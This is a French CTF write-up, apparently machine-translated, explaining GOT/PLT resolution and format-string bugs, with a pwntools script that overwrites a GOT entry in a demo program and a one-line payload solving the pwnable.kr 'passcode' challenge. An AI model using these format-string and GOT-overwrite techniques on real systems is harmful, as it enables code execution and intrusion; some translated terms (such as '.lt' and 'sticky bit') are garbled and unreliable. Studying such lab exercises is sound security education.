Résoudre un travail avec pwnable.kr 05 - mot de passe. Réécrire la table des liens de procédure via la vulnérabilité de chaîne de format

image

Dans cet article nous analyserons: quelle est la table globale des offsets, la table des relations de procédures et sa réécriture à travers la vulnérabilité de chaîne de format. Nous résoudrons également la 5ème tâche à partir du site pwnable.kr .

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Tableau de décalage global et tableau de relation de procédure


Les bibliothèques liées dynamiquement sont chargées à partir d'un fichier distinct dans la mémoire au démarrage ou à l'exécution. Et, par conséquent, leurs adresses en mémoire ne sont pas fixes afin d'éviter les conflits de mémoire avec d'autres bibliothèques. De plus, le mécanisme de sécurité ASLR randomisera l'adresse de chaque module au démarrage.

Global Offset Table (GOT) - Une table d'adresses stockées dans la section des données. Il est utilisé au moment de l'exécution pour rechercher des adresses de variables globales inconnues au moment de la compilation. Ce tableau se trouve dans la section des données et n'est pas utilisé par tous les processus. Toutes les adresses absolues référencées par la section de code sont stockées dans cette table GOT. La section de code utilise des décalages relatifs pour accéder à ces adresses absolues. Et ainsi, le code de bibliothèque peut être partagé par des processus, même s'ils sont chargés dans différents espaces d'adressage mémoire.

La table de liaison de procédure (PLT) contient un code de saut pour appeler des fonctions communes dont les adresses sont stockées dans le GOT, c'est-à-dire que le PLT contient des adresses auxquelles les adresses sont stockées pour les données (adresses) du GOT.

Considérez le mécanisme à l'aide d'un exemple:

  1. Dans le code du programme, la fonction externe printf est appelée.
  2. Le flux de contrôle va au nième enregistrement dans le PLT, et la transition se produit à un décalage relatif, plutôt qu'à une adresse absolue.
  3. Va à l'adresse stockée dans le GOT. Le pointeur de fonction stocké dans la table GOT pointe d'abord vers l'extrait de code PLT.
  4. Ainsi, si printf est appelé pour la première fois, le convertisseur de l'éditeur de liens dynamique est appelé pour obtenir l'adresse réelle de la fonction cible.
  5. L'adresse printf est écrite dans la table GOT, puis printf est appelée.
  6. Si printf est à nouveau appelé dans le code, le résolveur ne sera plus appelé car l'adresse de printf est déjà stockée dans GOT.

image

Lorsque vous utilisez cette liaison différée, les pointeurs vers des fonctions qui ne sont pas utilisées au moment de l'exécution ne sont pas autorisés. Ainsi, cela fait gagner beaucoup de temps.

Pour que ce mécanisme fonctionne, les sections suivantes sont présentes dans le fichier:

  • .got - contient des entrées pour GOT;
  • .lt - contient des entrées pour PLT;
  • .got.plt - contient les relations d'adresse GOT - PLT;
  • .plt.got - contient les relations d'adresse PLT - GOT.

Étant donné que la section .got.plt est un tableau de pointeurs et est remplie pendant l'exécution du programme (c'est-à-dire que l'écriture y est autorisée), nous pouvons remplacer l'un d'eux et contrôler le flux d'exécution du programme.

Format de chaîne


Une chaîne de format est une chaîne utilisant des spécificateurs de format. Le spécificateur de format est indiqué par le symbole «%» (pour saisir le signe de pourcentage, utilisez la séquence «%%»).

pritntf(“output %s 123”, “str”); output str 123 

Les spécificateurs de format les plus importants:

  • d - nombre décimal signé, taille par défaut, sizeof (int);
  • x et X sont un nombre hexadécimal non signé, x utilise des lettres minuscules (abcdef), X majuscule (ABCDEF), la taille par défaut est sizeof (int);
  • s - sortie ligne avec zéro octet de fin;
  • n est le nombre de caractères écrits au moment où la séquence de commandes contenant n est apparue.

Pourquoi la vulnérabilité de chaîne de formatage est possible


Cette vulnérabilité consiste à utiliser l'une des fonctions de sortie de format sans spécifier de format (comme dans l'exemple suivant). Ainsi, nous pouvons nous-mêmes spécifier le format de sortie, ce qui permet de lire les valeurs de la pile et, lors de la spécification d'un format spécial, d'écrire dans la mémoire.

Considérez la vulnérabilité dans l'exemple suivant:

 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); } 

Ainsi, la ligne suivante ne spécifie pas le format de sortie.

 printf(input); 

Compilez le programme.

 gcc vuln1.c -o vuln -no-pie 

Examinons les valeurs de la pile en entrant une ligne contenant des spécificateurs de format.

image

Ainsi, lors de l'appel de printf (entrée), l'appel suivant est déclenché:

 printf(“%p-%p-%p-%p-%p“); 

Reste à comprendre ce que le programme affiche. La fonction printf a plusieurs arguments, qui sont des données pour une chaîne de format.

Prenons un exemple d'appel de fonction avec les arguments suivants:

 printf(“Number - %d, addres - %08x, string - %s”, a, &b, c); 

Lorsque cette fonction est appelée, la pile se présente comme suit.

image

Ainsi, lorsqu'un spécificateur de format est détecté, la fonction récupère la valeur de la pile. De même, une fonction de notre exemple récupérera 5 valeurs de la pile.

image

Pour confirmer ce qui précède, nous trouvons notre chaîne de format dans la pile.

image

Lors de la traduction de valeurs à partir d'une vue hexadécimale, nous obtenons la chaîne «% -p% AAAA». Autrement dit, nous avons pu obtenir les valeurs de la pile.

GOT Overwrite


Vérifions la possibilité de réécrire GOT via la vulnérabilité de chaîne de format. Pour ce faire, bouclons notre programme en réécrivant l'adresse de la fonction exit () à l'adresse de main. Nous remplacerons en utilisant pwntools. Créez la disposition initiale et répétez l'entrée précédente.

 from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive() 

image

Mais comme en fonction de la taille de la chaîne saisie, le contenu de la pile sera différent, nous nous assurerons que la charge d'entrée contiendra toujours le même nombre de caractères saisis.

 payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”) 

image

 payload = ("%p-%p-%p-%p").ljust(64, ”*”) 

image

Maintenant, nous devons trouver l'adresse GOT des fonctions exit () et l'adresse de la fonction principale. L'adresse principale sera trouvée en utilisant gdb.

image

L'adresse GOT de exit () peut être trouvée en utilisant à la fois gdb et objdump.

image

image

 objdump -R vuln 

image

Nous écrirons ces adresses dans notre programme.

 main_addr = 0x401162 exit_addr = 0x404038 

Vous devez maintenant réécrire l'adresse. Pour ajouter à la pile l'adresse de la fonction exit () et les adresses qui se trouvent après, c'est-à-dire * (sortie ()) + 1, etc. Vous pouvez l'ajouter en utilisant notre charge.

 payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) 

Exécutez et déterminez quel compte affiche l'adresse.

image

Ces adresses sont affichées aux positions 14 et 15. Vous pouvez afficher la valeur à une position spécifique comme suit.

 payload = ("%14$p").ljust(64, "*") 

image

Nous réécrirons l'adresse en deux blocs. Pour commencer, nous imprimerons 4 valeurs afin que nos adresses soient aux 2e et 4e positions.

 payload = ("%p%14$p%p%15$p").ljust(64, "*") 

image

Maintenant, nous divisons l'adresse de main () en deux blocs:
0x401162

1) 0x62 = 98 (écrire à 0x404038)
2) 0x4011 - 0x62 = 16303 (écrire à l'adresse 0x404039)


Nous les écrivons comme suit:

 payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') 

Code complet:

 from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive() 

image

Ainsi, le programme est redémarré au lieu de se terminer. Nous avons réécrit l'adresse exit ().

Solution de travail par mot de passe


Nous cliquons sur la première icône avec la signature du mot de passe, et on nous dit que nous devons nous connecter via SSH avec le mot de passe guest.

image

Une fois connecté, nous voyons la bannière correspondante.

image

Voyons quels fichiers se trouvent sur le serveur, ainsi que les droits dont nous disposons.

 ls -l 

image

Ainsi, nous pouvons lire le code source du programme, car il y a un droit de lecture pour tout le monde, et exécuter le programme de mot de passe avec les droits du propriétaire (le bit collant est défini). Voyons le résultat du code.

image

Une erreur s'est produite dans la fonction login (). Dans scanf (), le deuxième argument n'est pas transmis l'adresse de la variable & passcode1, mais la variable elle-même, et non initialisé. Comme la variable n'a pas encore été initialisée, elle contient les «ordures» non écrites qui sont restées après l'exécution des instructions précédentes. Autrement dit, scanf () écrira le numéro à l'adresse, qui sera les données résiduelles.

image

Ainsi, si avant d'appeler la fonction de connexion, nous pouvons contrôler cette zone de mémoire, alors nous pouvons écrire n'importe quel nombre à n'importe quelle adresse (en fait changer la logique du programme).

Étant donné que la fonction login () est appelée immédiatement après la fonction welcome (), ils ont les mêmes adresses de trame de pile.

image

Vérifions si nous pouvons écrire des données vers le futur emplacement de passcode1. Ouvrez le programme dans gdb et démontez les fonctions login () et welcome (). Puisque scanf a deux paramètres dans les deux cas, l'adresse de la variable sera d'abord transmise à la fonction. Ainsi, l'adresse de passcode1 est ebp-0x10 et le nom est ebp-0x70.

image

image

Maintenant, calculons l'adresse passcode1 par rapport au nom, à condition que la valeur ebp soit la même:
(& nom) - (& mot de passe1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & nom + 96
Autrement dit, les 4 derniers octets de nom - ce sont les «ordures» qui serviront d'adresse pour écrire dans la fonction de connexion.

Dans l'article, nous avons vu comment vous pouvez changer la logique de l'application en réécrivant les adresses dans le GOT. Faisons-le ici aussi. Puisque scanf () est suivi de flush, alors à l'adresse de cette fonction dans GOT, nous écrivons l'adresse de l'instruction pour appeler la fonction system () pour lire le drapeau.

image

image

image

Autrement dit, à l'adresse 0x804a004, vous devez écrire 0x80485e3 sous forme décimale.

 python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode 

image

En conséquence, nous obtenons 10 points, jusqu'à présent, c'est la tâche la plus difficile.

image

Les fichiers de cet article sont joints à la chaîne Telegram . Rendez-vous dans les articles suivants!

Nous sommes dans un canal de télégramme: un canal dans Telegram .

Source: https://habr.com/ru/post/fr460647/


All Articles